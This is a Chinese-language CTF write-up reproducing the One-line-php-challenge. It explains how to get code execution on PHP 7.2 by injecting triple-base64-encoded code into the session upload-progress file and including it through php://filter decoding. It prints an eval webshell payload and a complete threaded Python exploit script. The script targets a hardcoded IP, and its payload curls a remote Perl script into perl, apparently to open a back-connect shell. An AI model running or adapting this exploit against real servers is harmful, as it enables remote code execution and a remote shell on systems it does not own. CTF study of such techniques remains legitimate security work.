環境
ubuntu 18.04
php 7.2
PS:
lsb_release -a
//檢視ubuntu的發行版本
題目
<?php
($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__);
?>
PS:通過 get 方式傳入一個 orange 參數,作為檔案名,然後程式會将我們傳入檔案名的那個檔案取出頭6個字元和 @<?php 比對,如果配對成功那麼就會包含這個檔案,否則就什麼都不做
解題思路:
- 通過
控制PHP_SESSION_UPLOAD_PROGRESS
session 檔案
複現One-line-php-challenge
php7.2的session檔案存儲路徑是固定的
/var/lib/php/sessions/sess_{php_session_id}
- 檔案的開頭必須是
,@<?php
檔案中的内容sess
upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}}
- 這個檔案是以
開頭的,不能直接包含,需要控制這個開頭。upload_progress
convert.base64-decode
Base64的索引表由64個ASCII字元組成:
0-9,26個英文小寫字母a-z,26個英文大寫字母:A-Z,除此之外還有額外兩個字元"+"和"/"
。遇到不符合 base64 規定字元的就會将其忽略
string.strip_tags
從字元串中去除 HTML 和 PHP 标記
最終payload
upload_progress_
是16個字元,但是根據 b64 的 decode 規則,其中隻有14個字元能解析,但是 14個字元又不是 4 的整數倍,于是我們必須添加兩個字元,将其變成16位。必須要保證在加了這個字元以後每次 b64 可解碼的位數都是4 的整數倍,要不然就會吞掉我們的 payload。
echo "upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);')));
得到:
upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0=
- 三次解碼:
複現One-line-php-challenge - 檢視源碼
複現One-line-php-challenge
Orange大佬的 exp
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
print xxx
break
def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print
if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)